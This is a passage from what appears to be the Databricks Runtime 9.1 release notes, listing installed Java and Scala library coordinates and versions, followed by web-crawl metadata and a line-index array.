1.0.0-M20
org.apache.directory.server
apacheds-i18n
2.0.0-M15
org.apache.directory.server
apacheds-kerberos-codec
2.0.0-M15
org.apache.hadoop
hadoop-annotations
2.7.4
org.apache.hadoop
hadoop-auth
2.7.4
org.apache.hadoop
hadoop-client
2.7.4
org.apache.hadoop
hadoop-common
2.7.4
org.apache.hadoop
hadoop-hdfs
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-app
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-common
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-core
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-jobclient
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-shuffle
2.7.4
org.apache.hadoop
hadoop-yarn-api
2.7.4
org.apache.hadoop
hadoop-yarn-client
2.7.4
org.apache.hadoop
hadoop-yarn-common
2.7.4
org.apache.hadoop
hadoop-yarn-server-common
2.7.4
org.apache.hive
hive-beeline
2.3.7
org.apache.hive
hive-cli
2.3.7
org.apache.hive
hive-jdbc
2.3.7
org.apache.hive
hive-llap-client
2.3.7
org.apache.hive
hive-llap-common
2.3.7
org.apache.hive
hive-serde
2.3.7
org.apache.hive
hive-shims
2.3.7
org.apache.hive
hive-storage-api
2.7.2
org.apache.hive.shims
hive-shims-0.23
2.3.7
org.apache.hive.shims
hive-shims-common
2.3.7
org.apache.hive.shims
hive-shims-scheduler
2.3.7
org.apache.htrace
htrace-core
3.1.0-incubating
org.apache.httpcomponents
httpclient
4.5.6
org.apache.httpcomponents
httpcore
4.4.12
org.apache.ivy
ivy
2.4.0
org.apache.mesos
mesos-shaded-protobuf
1.4.0
org.apache.orc
orc-core
1.5.12
org.apache.orc
orc-mapreduce
1.5.12
org.apache.orc
orc-shims
1.5.12
org.apache.parquet
parquet-column
1.10.1-databricks9
org.apache.parquet
parquet-common
1.10.1-databricks9
org.apache.parquet
parquet-encoding
1.10.1-databricks9
org.apache.parquet
parquet-format
2.4.0
org.apache.parquet
parquet-hadoop
1.10.1-databricks9
org.apache.parquet
parquet-jackson
1.10.1-databricks9
org.apache.thrift
libfb303
0.9.3
org.apache.thrift
libthrift
0.12.0
org.apache.xbean
xbean-asm7-shaded
4.15
org.apache.yetus
audience-annotations
0.5.0
org.apache.zookeeper
zookeeper
3.4.14
org.codehaus.jackson
jackson-core-asl
1.9.13
org.codehaus.jackson
jackson-jaxrs
1.9.13
org.codehaus.jackson
jackson-mapper-asl
1.9.13
org.codehaus.jackson
jackson-xc
1.9.13
org.codehaus.janino
commons-compiler
3.0.16
org.codehaus.janino
janino
3.0.16
org.datanucleus
datanucleus-api-jdo
4.2.4
org.datanucleus
datanucleus-core
4.1.17
org.datanucleus
datanucleus-rdbms
4.1.19
org.datanucleus
javax.jdo
3.2.0-m3
org.eclipse.jetty
jetty-client
9.4.42.v20210604
org.eclipse.jetty
jetty-continuation
9.4.42.v20210604
org.eclipse.jetty
jetty-http
9.4.42.v20210604
org.eclipse.jetty
jetty-io
9.4.42.v20210604
org.eclipse.jetty
jetty-jndi
9.4.42.v20210604
org.eclipse.jetty
jetty-plus
9.4.42.v20210604
org.eclipse.jetty
jetty-proxy
9.4.42.v20210604
org.eclipse.jetty
jetty-security
9.4.42.v20210604
org.eclipse.jetty
jetty-server
9.4.42.v20210604
org.eclipse.jetty
jetty-servlet
9.4.42.v20210604
org.eclipse.jetty
jetty-servlets
9.4.42.v20210604
org.eclipse.jetty
jetty-util
9.4.42.v20210604
org.eclipse.jetty
jetty-util-ajax
9.4.42.v20210604
org.eclipse.jetty
jetty-webapp
9.4.42.v20210604
org.eclipse.jetty
jetty-xml
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-api
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-client
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-common
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-server
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-servlet
9.4.42.v20210604
org.fusesource.leveldbjni
leveldbjni-all
1.8
org.glassfish.hk2
hk2-api
2.6.1
org.glassfish.hk2
hk2-locator
2.6.1
org.glassfish.hk2
hk2-utils
2.6.1
org.glassfish.hk2
osgi-resource-locator
1.0.3
org.glassfish.hk2.external
aopalliance-repackaged
2.6.1
org.glassfish.hk2.external
jakarta.inject
2.6.1
org.glassfish.jersey.containers
jersey-container-servlet
2.30
org.glassfish.jersey.containers
jersey-container-servlet-core
2.30
org.glassfish.jersey.core
jersey-client
2.30
org.glassfish.jersey.core
jersey-common
2.30
org.glassfish.jersey.core
jersey-server
2.30
org.glassfish.jersey.inject
jersey-hk2
2.30
org.glassfish.jersey.media
jersey-media-jaxb
2.30
org.hibernate.validator
hibernate-validator
6.1.0.Final
org.javassist
javassist
3.25.0-GA
org.jboss.logging
jboss-logging
3.3.2.Final
org.jdbi
jdbi
2.63.1
org.joda
joda-convert
1.7
org.jodd
jodd-core
3.5.2
org.json4s
json4s-ast_2.12
3.7.0-M5
org.json4s
json4s-core_2.12
3.7.0-M5
org.json4s
json4s-jackson_2.12
3.7.0-M5
org.json4s
json4s-scalap_2.12
3.7.0-M5
org.lz4
lz4-java
1.7.1
org.mariadb.jdbc
mariadb-java-client
2.2.5
org.objenesis
objenesis
2.5.1
org.postgresql
postgresql
42.1.4
org.roaringbitmap
RoaringBitmap
0.9.14
org.roaringbitmap
shims
0.9.14
org.rocksdb
rocksdbjni
6.20.3
org.rosuda.REngine
REngine
2.1.0
org.scala-lang
scala-compiler_2.12
2.12.10
org.scala-lang
scala-library_2.12
2.12.10
org.scala-lang
scala-reflect_2.12
2.12.10
org.scala-lang.modules
scala-collection-compat_2.12
2.1.1
org.scala-lang.modules
scala-parser-combinators_2.12
1.1.2
org.scala-lang.modules
scala-xml_2.12
1.2.0
org.scala-sbt
test-interface
1.0
org.scalacheck
scalacheck_2.12
1.14.2
org.scalactic
scalactic_2.12
3.0.8
org.scalanlp
breeze-macros_2.12
1.0
org.scalanlp
breeze_2.12
1.0
org.scalatest
scalatest_2.12
3.0.8
org.slf4j
jcl-over-slf4j
1.7.30
org.slf4j
jul-to-slf4j
1.7.30
org.slf4j
slf4j-api
1.7.30
org.slf4j
slf4j-log4j12
1.7.30
org.spark-project.spark
unused
1.0.0
org.springframework
spring-core
4.1.4.RELEASE
org.springframework
spring-test
4.1.4.RELEASE
org.threeten
threeten-extra
1.5.0
org.tukaani
xz
1.5
org.typelevel
algebra_2.12
2.0.0-M2
org.typelevel
cats-kernel_2.12
2.0.0-M4
org.typelevel
machinist_2.12
0.6.8
org.typelevel
macro-compat_2.12
1.1.1
org.typelevel
spire-macros_2.12
0.17.0-M1
org.typelevel
spire-platform_2.12
0.17.0-M1
org.typelevel
spire-util_2.12
0.17.0-M1
org.typelevel
spire_2.12
0.17.0-M1
org.wildfly.openssl
wildfly-openssl
1.0.7.Final
org.xerial
sqlite-jdbc
3.8.11.2
org.xerial.snappy
snappy-java
1.1.8.2
org.yaml
snakeyaml
1.24
oro
oro
2.0.8
pl.edu.icm
JLargeArrays
1.5
software.amazon.ion
ion-java
1.0.2
stax
stax-api
1.0.1
xmlenc
xmlenc
0.52 | {
"url": "https://docs.databricks.com/release-notes/runtime/9.1.html",
"source_domain": "docs.databricks.com",
"snapshot_id": "CC-MAIN-2023-06",
"warc_metadata": {
"Content-Length": "112496",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IZBIBO3RGVJXAFN7WHL75DNB25VJ77J5",
"WARC-Concurrent-To": "<urn:uuid:c431ef7f-0d40-42c2-9a68-0f912b6aaaad>",
"WARC-Date": "2023-02-08T22:39:02Z",
"WARC-IP-Address": "108.138.85.12",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GNCEV5N54U73CWDA5SRDJF4SGSJMLJK6",
"WARC-Record-ID": "<urn:uuid:b93682b6-2bb2-4aca-be7c-76b01198def2>",
"WARC-Target-URI": "https://docs.databricks.com/release-notes/runtime/9.1.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:42e2b12f-9f77-4ffe-88a7-51e0c6c4340b>"
},
"warc_info": "isPartOf: CC-MAIN-2023-06\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January/February 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-138\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
27,
28,
260,
261,
266,
267,
357,
358,
388,
389,
448,
449,
547,
548,
593,
594,
639,
640,
717,
718,
797,
798,
1027,
1028,
1071,
1072,
1138,
1139,
1185,
1186,
1236,
1237,
1292,
1293,
1352,
1353,
1720,
1721,
1756,
1757,
2104,
2105,
2162,
2163,
2865,
2866,
2908,
2909,
3203,
3204,
3282,
3283,
3650,
3651,
3705,
3706,
3862,
3863,
3937,
3938,
4138,
4139,
4162,
4163,
4188,
4204,
4212,
4229,
4280,
4296,
4336,
4393,
4431,
4468,
4477,
4484,
4487,
4488,
4597,
4598,
5301,
5302,
5312,
5313,
5468,
5469,
5486,
5487,
5518,
5519,
5553,
5554,
5580,
5581,
5612,
5613,
5647,
5648,
5681,
5682,
5717,
5718,
5753,
5754,
5789,
5790,
5821,
5822,
5857,
5858,
5894,
5895,
5926,
5927,
5956,
5957,
6023,
6024,
6037,
6038,
6277,
6278,
6352,
6353,
6427,
6428,
6540,
6541,
6620,
6621,
6703,
6704,
6790,
6791,
6849,
6850,
6970,
6971,
7042,
7043,
7121,
7122,
7218,
7219,
7315,
7316,
7420,
7421,
7485,
7486,
7567,
7568,
7687,
7688,
7815,
7816,
7915,
7916,
8014,
8015,
8146,
8147,
8208,
8209,
8268,
8269,
8344,
8345,
8422,
8423,
8516,
8517,
8595,
8596,
8683,
8684,
8792,
8793,
8812,
8813,
8854,
8855,
8891,
8892,
8911,
8912,
8931,
8932,
8945,
8946,
8968,
8969,
8996,
8997,
9005,
9006,
9014,
9015,
9023,
9024,
9032,
9033,
9041,
9042,
9050,
9051,
9066,
9067,
9089,
9090,
9098,
9099,
9105,
9106,
9115,
9116,
9122,
9123,
9129,
9130,
9137,
9138,
9147,
9148,
9155,
9156,
9164,
9165,
9175,
9176,
9184,
9185,
9191,
9192,
9199,
9200,
9207,
9208,
9215,
9216,
9224,
9225,
9237,
9238,
9245,
9246,
9256,
9257,
9263,
9264,
9272,
9273,
9279,
9280,
9292,
9293,
9305,
9306,
9322,
9323,
9329,
9330,
9339,
9340,
9347,
9348,
9353,
9354,
9359,
9360,
9370,
9371,
9377,
9378,
9386,
9387,
9394,
9395,
9412,
9413,
9419,
9420,
9425,
9426,
9433,
9434,
9443,
9444,
9451,
9452,
9459,
9460,
9466,
9467,
9482,
9483,
9490,
9491,
9504,
9505,
9511,
9512,
9523,
9524,
9530,
9531,
9538,
9539,
9545,
9546,
9557,
9558,
9564,
9565,
9571,
9572,
9579,
9580,
9587,
9588,
9594,
9595,
9601,
9602,
9608,
9609,
9615,
9616,
9622,
9623,
9631,
9632,
9638,
9639,
9651,
9652,
9658,
9659,
9666,
9667,
9673,
9674,
9678,
9679,
9686,
9687,
9694,
9695,
9701,
9702,
9717,
9718,
9725,
9726,
9735,
9736,
9743,
9744,
9753,
9754,
9760,
9761,
9772,
9773,
9779,
9780,
9788,
9789,
9795,
9796,
9805,
9806,
9812,
9813,
9823,
9824,
9831,
9832,
9842,
9843,
9849,
9850,
9861,
9862,
9883,
9884,
9900,
9901,
9907,
9908,
9913,
9914,
9921,
9922,
9928,
9929,
9936,
9937,
9946,
9947,
9954,
9955,
9975,
9976,
9982,
9983,
9994,
9995,
10001,
10002,
10015,
10016,
10023,
10024,
10030,
10031,
10037,
10038,
10046,
10047,
10054,
10055,
10066,
10067,
10074,
10075,
10079,
10080,
10087,
10088,
10102,
10103,
10108,
10109,
10121,
10122,
10129,
10130,
10139,
10140,
10146,
10147,
10161,
10162,
10168,
10169,
10177,
10178,
10182,
10183,
10193,
10194,
10200,
10201,
10221,
10222,
10226,
10227,
10235,
10236,
10244,
10245,
10256,
10257,
10264,
10265,
10273,
10274,
10280,
10281,
10287,
10288,
10295,
10296,
10318,
10319,
10393,
10394,
10402,
10403,
10411,
10412,
10420,
10421,
10429,
10430,
10438,
10439,
10447,
10448,
10456,
10457,
10461,
10462,
10473,
10474,
10480,
10481,
10491,
10492,
10498,
10499,
10504,
10505,
10511,
10512,
10522,
10523,
10529,
10530,
10534,
10535,
10541,
10542,
10548,
10549,
10555,
10556,
10561,
10562,
10568,
10569,
10574,
10575,
10582,
10583,
10588,
10589,
10595,
10596,
10601,
10602,
10608,
10609,
10615,
10616,
10622,
10623,
10629,
10630,
10636,
10637,
10644,
10645,
10651,
10652,
10658,
10659,
10665,
10666,
10672,
10673,
10680,
10681,
10692,
10693,
10699,
10700,
10706,
10707,
10714,
10715,
10721,
10722,
10729,
10730,
10734,
10735,
10741,
10742,
10748,
10749,
10755,
10756,
10764,
10765,
10771,
10772,
10782,
10783,
10790,
10791,
10802,
10803,
10809,
10810,
10821,
10822,
10826,
10827,
10836,
10837,
10843,
10844,
10851,
10852,
10858,
10859,
10865,
10866,
10872,
10873,
10880,
10881,
10887,
10888,
10900,
10901,
10907,
10908,
10913,
10914,
10920,
10921,
10932,
10933,
10940,
10941,
10950,
10951,
10957,
10958,
10962,
10963,
10969,
10970,
10977,
10978,
10984,
10985,
10990,
10991,
10997,
10998,
11007,
11008,
11014,
11015,
11023,
11024,
11030,
11031,
11038,
11039,
11046,
11047,
11053,
11054,
11060,
11061,
11068,
11069,
11075,
11076,
11085,
11086,
11092,
11093,
11102,
11103,
11108,
11109,
11115,
11116,
11122,
11123,
11130,
11131,
11137,
11138,
11146,
11147,
11153,
11154,
11162,
11163,
11169,
11170,
11178,
11179,
11185,
11186,
11194,
11195,
11202,
11203,
11209,
11210,
11216,
11217,
11220,
11221,
11227,
11228,
11235,
11236,
11243,
11244,
11257,
11258,
11264,
11265,
11272,
11273,
11279,
11280,
11289,
11290,
11296,
11297,
11302,
11303,
11309,
11310,
11318,
11319,
11325,
11326,
11329,
11330,
11336,
11337,
11346,
11347,
11353,
11354,
11361,
11362,
11368,
11369,
11377,
11378,
11385,
11386,
11391,
11392,
11398,
11399,
11411,
11412,
11418,
11419,
11433,
11434,
11440,
11441,
11447,
11448,
11454,
11455,
11464,
11465,
11471,
11472,
11482,
11483,
11489,
11490,
11495,
11496,
11502,
11503,
11513,
11514,
11518,
11519,
11526,
11527,
11531,
11532,
11539,
11540,
11546,
11547,
11553,
11554,
11560,
11561,
11567,
11568,
11572,
11573,
11577,
11578,
11584,
11585,
11595,
11596,
11602,
11603,
11615,
11616,
11622,
11623,
11630,
11631,
11637,
11638,
11643,
11644,
11650,
11651,
11659,
11660,
11666,
11667,
11679,
11680,
11686,
11687,
11691,
11692,
11698,
11699,
11703,
11704,
11710,
11711,
11717,
11718,
11725,
11726,
11734,
11735,
11741,
11742,
11752,
11753,
11760,
11761,
11771,
11772,
11778,
11779,
11788,
11789,
11795,
11796,
11807,
11808,
11816,
11817,
11823,
11824,
11829,
11830,
11839,
11840,
11846,
11847,
11853,
11854,
11860,
11861,
11869,
11870,
11878,
11879,
11884,
11885,
11892,
11893,
11903,
11904,
11910,
11911,
11919,
11920,
11926,
11927,
11937,
11938,
11945,
11946,
11955,
11956,
11962,
11963,
11972,
11973,
11977,
11978,
11983,
11984,
11991,
11992,
11999,
12000,
12006,
12007,
12015,
12016,
12022,
12023,
12031,
12032,
12038,
12039,
12044,
12045,
12052,
12053,
12058,
12059,
12064,
12065,
12078,
12079,
12087,
12088,
12095,
12096,
12102,
12103,
12111,
12112,
12118,
12119,
12124,
12125,
12133,
12134,
12139,
12140,
12147,
12148,
12157,
12158,
12169,
12170,
12178,
12179,
12185,
12186,
12195,
12196,
12202,
12203,
12214,
12215,
12222,
12223,
12230,
12231,
12237,
12238,
12247,
12248,
12254,
12255,
12265,
12266,
12272,
12273,
12281,
12282,
12288,
12289,
12295,
12296,
12302,
12303,
12308,
12309,
12315,
12316,
12323,
12324,
12330,
12331,
12343,
12344,
12350,
12351,
12356,
12357,
12364,
12365,
12374,
12375,
12381,
12382,
12390,
12391,
12402,
12403,
12412,
12413,
12419,
12420,
12430,
12431,
12437,
12438,
12447,
12448,
12456,
12457,
12463,
12464,
12470,
12471,
12474,
12475,
12481,
12482,
12488,
12489,
12495,
12496,
12501,
12502,
12508,
12509,
12512,
12513,
12519,
12520,
12533,
12534,
12541,
12542,
12551,
12552,
12558,
12559,
12569,
12570,
12576,
12577,
12590,
12591,
12597,
12598,
12603,
12604,
12610,
12611,
12617,
12618,
12624,
12625,
12632,
12633,
12639,
12640,
12648,
12649,
12656,
12657,
12665,
12666,
12672,
12673,
12682,
12683,
12689,
12690,
12698,
12699,
12705,
12706,
12713,
12714,
12720,
12721,
12730,
12731,
12737,
12738,
12744,
12745,
12752,
12753,
12763,
12764,
12769,
12770,
12776,
12777,
12784,
12785,
12794,
12795,
12801,
12802,
12808,
12809,
12816,
12817,
12827,
12828,
12834,
12835,
12842,
12843,
12849,
12850,
12858,
12859,
12865,
12866,
12877,
12878,
12883,
12884,
12894,
12895,
12901,
12902,
12908,
12909,
12915,
12916,
12921,
12922,
12928,
12929,
12936,
12937,
12943,
12944,
12952,
12953,
12959,
12960,
12972,
12973,
12979,
12980,
12986,
12987,
12993,
12994,
13000,
13001,
13007,
13008,
13020,
13021,
13027,
13028,
13037,
13038,
13044,
13045,
13052,
13053,
13059,
13060,
13068,
13069,
13076,
13077,
13085,
13086,
13092,
13093,
13099,
13100,
13107,
13108,
13116,
13117,
13124,
13125,
13131,
13132,
13138,
13139,
13146,
13147,
13153,
13154,
13162,
13163,
13169,
13170,
13178,
13179,
13185,
13186,
13195,
13196,
13203,
13204,
13208,
13209,
13213,
13214,
13220,
13221,
13227,
13228,
13242,
13243,
13248,
13249,
13258,
13259,
13265,
13266,
13273,
13274,
13280,
13281,
13287,
13288,
13294,
13295,
13306,
13307,
13313,
13314,
13324,
13325,
13331,
13332,
13341,
13342,
13351,
13352,
13360,
13361,
13366,
13367,
13373,
13374,
13380,
13381,
13386,
13387,
13393,
13394,
13402,
13403,
13409,
13410,
13415,
13416,
13422,
13423,
13429,
13430,
13436,
13437,
13442,
13443,
13449,
13450,
13456,
13457,
13463,
13464,
13476,
13477,
13483,
13484,
13490,
13491,
13497,
13498,
13504,
13505,
13511,
13512,
13520,
13521,
13525,
13526,
13532,
13533,
13539,
13540,
13545,
13546,
13551,
13552,
13557,
13558,
13564,
13565,
13571,
13572,
13578,
13579,
13586,
13587,
13593,
13594,
13599,
13600,
13606,
13607,
13611,
13612,
13618,
13619,
13683,
13684,
13693,
13694,
13706,
13707,
13715,
13716,
13722,
13723,
13729,
13730,
13736,
13737,
13751,
13752,
13774,
13775,
13782,
13783,
13797,
13798,
13823,
13824,
13833,
13834,
13848,
13849,
13877,
13878,
13887,
13888,
13902,
13903,
13927,
13928,
13937,
13938,
13952,
13953,
13975,
13976,
13985,
13986,
14000,
14001,
14026,
14027,
14036,
14037,
14051,
14052,
14076,
14077,
14086,
14087,
14101,
14102,
14126,
14127,
14136,
14137,
14151,
14152,
14183,
14184,
14193,
14194,
14208,
14209,
14233,
14234,
14243,
14244,
14258,
14259,
14288,
14289,
14298,
14299,
14313,
14314,
14339,
14340,
14349,
14350,
14364,
14365,
14385,
14386,
14395,
14396,
14410,
14411,
14429,
14430,
14439,
14440,
14454,
14455,
14481,
14482,
14491,
14492,
14506,
14507,
14534,
14535,
14544,
14545,
14559,
14560,
14583,
14584,
14593,
14594,
14608,
14609,
14631,
14632,
14641,
14642,
14656,
14657,
14674,
14675,
14684,
14685,
14699,
14700,
14717,
14718,
14727,
14728,
14742,
14743,
14760,
14761,
14770,
14771,
14785,
14786,
14811,
14812,
14821,
14822,
14836,
14837,
14867,
14868,
14877,
14878,
14892,
14893,
14927,
14928,
14937,
14938,
14952,
14953,
14984,
14985,
14994,
14995,
15009,
15010,
15027,
15028,
15037,
15038,
15052,
15053,
15074,
15075,
15084,
15085,
15099,
15100,
15118,
15119,
15128,
15129,
15143,
15144,
15161,
15162,
15171,
15172,
15186,
15187,
15213,
15214,
15223,
15224,
15238,
15239,
15260,
15261,
15270,
15271,
15285,
15286,
15303,
15304,
15313,
15314,
15328,
15329,
15349,
15350,
15359,
15360,
15374,
15375,
15393,
15394,
15403,
15404,
15418,
15419,
15448,
15449,
15458,
15459,
15473,
15474,
15516,
15517,
15526,
15527,
15541,
15542,
15582,
15583,
15592,
15593,
15607,
15608,
15630,
15631,
15640,
15641,
15655,
15656,
15673,
15674,
15683,
15684,
15698,
15699,
15721,
15722,
15731,
15732,
15746,
15747,
15768,
15769,
15778,
15779,
15793,
15794,
15810,
15811,
15820,
15821,
15835,
15836,
15853,
15854,
15863,
15864,
15878,
15879,
15901,
15902,
15911,
15912,
15926,
15927,
15955,
15956,
15965,
15966,
15980,
15981,
15998,
15999,
16008,
16009,
16023,
16024,
16041,
16042,
16051,
16052,
16066,
16067,
16084,
16085,
16094,
16095,
16109,
16110,
16138,
16139,
16148,
16149,
16163,
16164,
16181,
16182,
16191,
16192,
16206,
16207,
16228,
16229,
16238,
16239,
16253,
16254,
16281,
16282,
16290,
16291,
16305,
16306,
16330,
16331,
16340,
16341,
16355,
16356,
16370,
16371,
16380,
16381,
16393,
16394,
16409,
16410,
16416,
16417,
16443,
16444,
16451,
16452,
16458,
16459,
16474,
16475,
16482,
16483,
16489,
16490,
16505,
16506,
16513,
16514,
16522,
16523,
16546,
16547,
16567,
16568,
16578,
16579,
16602,
16603,
16624,
16625,
16635,
16636,
16657,
16658,
16670,
16671,
16677,
16678,
16699,
16700,
16707,
16708,
16714,
16715,
16729,
16730,
16740,
16741,
16747,
16748,
16775,
16776,
16796,
16797,
16804,
16805,
16832,
16833,
16846,
16847,
16854,
16855,
16882,
16883,
16900,
16901,
16908,
16909,
16942,
16943,
16967,
16968,
16975,
16976,
17007,
17008,
17030,
17031,
17038,
17039,
17068,
17069,
17094,
17095,
17102,
17103,
17132,
17133,
17159,
17160,
17167,
17168,
17198,
17199,
17208,
17209,
17215,
17216,
17234,
17235,
17245,
17246,
17250,
17251,
17276,
17277,
17282,
17283,
17289,
17290,
17315,
17316,
17332,
17333,
17337,
17338,
17363,
17364,
17388,
17389,
17393,
17394,
17419,
17420,
17439,
17440,
17444,
17445,
17470,
17471,
17498,
17499,
17503,
17504,
17529,
17530,
17569,
17570,
17574,
17575,
17600,
17601,
17643,
17644,
17648,
17649,
17670,
17671,
17715,
17716,
17722,
17723,
17740,
17741,
17750,
17751,
17759,
17760,
17782,
17783,
17795,
17796,
17800,
17801,
17826,
17827,
17834,
17835,
17841,
17842,
17863,
17864,
17869,
17870,
17876,
17877,
17900,
17901,
17906,
17907,
17913,
17914,
17937,
17938,
17955,
17956,
17962,
17963,
17980,
17981,
17987,
17988,
17993,
17994,
18014,
18015,
18029,
18030,
18036,
18037,
18052,
18053,
18056,
18057,
18065,
18066,
18077,
18078,
18087,
18088,
18094,
18095,
18106,
18107,
18112,
18113,
18120,
18121,
18132,
18133,
18140,
18141,
18155,
18156,
18168,
18169,
18185,
18186,
18192,
18193,
18213,
18214,
18240,
18241,
18247,
18248,
18272,
18273,
18284,
18285,
18296,
18297,
18306,
18307,
18320,
18321,
18327,
18328,
18341,
18342,
18353,
18354,
18360,
18361,
18374,
18375,
18380,
18381,
18385,
18386,
18413,
18414,
18424,
18425,
18429,
18430,
18452,
18453,
18465,
18466,
18473,
18474,
18486,
18487,
18498,
18499,
18505,
18506,
18518,
18519,
18530,
18531,
18537,
18538,
18550,
18551,
18565,
18566,
18572,
18573,
18585,
18586,
18601,
18602,
18608,
18609,
18621,
18622,
18641,
18642,
18648,
18649,
18661,
18662,
18676,
18677,
18683,
18684,
18696,
18697,
18712,
18713,
18719,
18720,
18732,
18733,
18752,
18753,
18759,
18760,
18772,
18773,
18789,
18790,
18796,
18797,
18810,
18811,
18818,
18819,
18825,
18826,
18853,
18854,
18873,
18874,
18880,
18881,
18895,
18896,
18914,
18915,
18921,
18922,
18933,
18934,
18943,
18944,
18950,
18951,
18969,
18970,
18988,
18989,
18995,
18996,
19008,
19009,
19021,
19022,
19026,
19027,
19041,
19042,
19056,
19057,
19062,
19063,
19083,
19084,
19104,
19105,
19111,
19112,
19134,
19135,
19157,
19158,
19162,
19163,
19176,
19177,
19190,
19191,
19195,
19196,
19213,
19214,
19231,
19232,
19236,
19237,
19256,
19257,
19276,
19277,
19283,
19284,
19303,
19304,
19323,
19324,
19328,
19329,
19340,
19341,
19352,
19353,
19357,
19358,
19371,
19372,
19385,
19386,
19390,
19391,
19407,
19408,
19424,
19425,
19431,
19432,
19444,
19445,
19457,
19458,
19462,
19463,
19476,
19477,
19490,
19491,
19497,
19498,
19519,
19520,
19531,
19532,
19549,
19550,
19571,
19572,
19586,
19587,
19604,
19605,
19628,
19629,
19639,
19640,
19647,
19648,
19659,
19660,
19674,
19675,
19680,
19681,
19690,
19691,
19716,
19717,
19723,
19724,
19746,
19747,
19760,
19761,
19767,
19768,
19790,
19791,
19808,
19809,
19815,
19816,
19838,
19839,
19860,
19861,
19867,
19868,
19890,
19891,
19906,
19907,
19913,
19914,
19936,
19937,
19949,
19950,
19956,
19957,
19979,
19980,
19993,
19994,
20000,
20001,
20023,
20024,
20036,
20037,
20043,
20044,
20066,
20067,
20084,
20085,
20091,
20092,
20101,
20102,
20112,
20113,
20126,
20127,
20141,
20142,
20155,
20156,
20162,
20163,
20177,
20178,
20198,
20199,
20205,
20206,
20220,
20221,
20245,
20246,
20252,
20253,
20267,
20268,
20293,
20294,
20300,
20301,
20315,
20316,
20337,
20338,
20344,
20345,
20363,
20364,
20374,
20375,
20382,
20383,
20402,
20403,
20426,
20427,
20433,
20434,
20453,
20454,
20477,
20478,
20484,
20485,
20499,
20500,
20518,
20519,
20525,
20526,
20543,
20544,
20555,
20556,
20562,
20563,
20572,
20573,
20586,
20587,
20593,
20594,
20604,
20605,
20613,
20614,
20620,
20621,
20635,
20636,
20654,
20655,
20661,
20662,
20680,
20681,
20689,
20690,
20694,
20695,
20713,
20714,
20718,
20719,
20723,
20724,
20742,
20743,
20759,
20760,
20764,
20765,
20780,
20781,
20790,
20791,
20797,
20798,
20815,
20816,
20825,
20826,
20832,
20833,
20844,
20845,
20856,
20857,
20863,
20864,
20870,
20871,
20877,
20878,
20885,
20886,
20896,
20897,
20907,
20908,
20915,
20916,
20922,
20923,
20943,
20944,
20951,
20952,
20958,
20959,
20965,
20966,
20973,
20974,
20986,
20987,
21008,
21009,
21026,
21027,
21044,
21045,
21049,
21050,
21056,
21057,
21071,
21072,
21081,
21082,
21087,
21088,
21100,
21101,
21106,
21107,
21111,
21112,
21127,
21128,
21136,
21137,
21141,
21142,
21158,
21159,
21169,
21170,
21176,
21177,
21191,
21192,
21213,
21214,
21220,
21221,
21235,
21236,
21251,
21252,
21259,
21260,
21274,
21275,
21296,
21297,
21313,
21314,
21334,
21335,
21355,
21356,
21360,
21361,
21381,
21382,
21399,
21400,
21406,
21407,
21417,
21418,
21422,
21423,
21429,
21430,
21440,
21441,
21455,
21456,
21462,
21463,
21473,
21474,
21489,
21490,
21496,
21497,
21507,
21508,
21523,
21524,
21530,
21531,
21546,
21547,
21551,
21552,
21558,
21559,
21574,
21575,
21584,
21585,
21591,
21592,
21607,
21608,
21621,
21622,
21628,
21629,
21646,
21647,
21660,
21661,
21667,
21668,
21685,
21686,
21704,
21705,
21711,
21712,
21729,
21730,
21749,
21750,
21756,
21757,
21774,
21775,
21788,
21789,
21795,
21796,
21812,
21813,
21818,
21819,
21825,
21826,
21842,
21843,
21852,
21853,
21859,
21860,
21876,
21877,
21897,
21898,
21904,
21905,
21924,
21925,
21942,
21943,
21948,
21949,
21968,
21969,
21984,
21985,
21991,
21992,
22011,
22012,
22026,
22027,
22032,
22033,
22052,
22053,
22067,
22068,
22074,
22075,
22094,
22095,
22108,
22109,
22113,
22114,
22133,
22134,
22149,
22150,
22156,
22157,
22176,
22177,
22195,
22196,
22202,
22203,
22222,
22223,
22239,
22240,
22246,
22247,
22264,
22265,
22271,
22272,
22282,
22283,
22308,
22309,
22322,
22323,
22333,
22334,
22359,
22360,
22369,
22370,
22380,
22381,
22409,
22410,
22424,
22425,
22435,
22436,
22464,
22465,
22489,
22490,
22500,
22501,
22519,
22520,
22539,
22540,
22546,
22547,
22565,
22566,
22578,
22579,
22585,
22586,
22604,
22605,
22619,
22620,
22626,
22627,
22645,
22646,
22660,
22661,
22667,
22668,
22686,
22687,
22699,
22700,
22706,
22707,
22725,
22726,
22754,
22755,
22761,
22762,
22780,
22781,
22812,
22813,
22819,
22820,
22838,
22839,
22868,
22869,
22875,
22876,
22894,
22895,
22929,
22930,
22936,
22937,
22955,
22956,
22988,
22989,
22995,
22996,
23014,
23015,
23031,
23032,
23038,
23039,
23057,
23058,
23077,
23078,
23084,
23085,
23103,
23104,
23123,
23124,
23130,
23131,
23149,
23150,
23176,
23177,
23183,
23184,
23200,
23201,
23214,
23215,
23221,
23222,
23238,
23239,
23248,
23249,
23255,
23256,
23272,
23273,
23283,
23284,
23290,
23291,
23307,
23308,
23325,
23326,
23332,
23333,
23349,
23350,
23367,
23368,
23374,
23375,
23391,
23392,
23403,
23404,
23410,
23411,
23427,
23428,
23439,
23440,
23446,
23447,
23463,
23464,
23481,
23482,
23488,
23489,
23511,
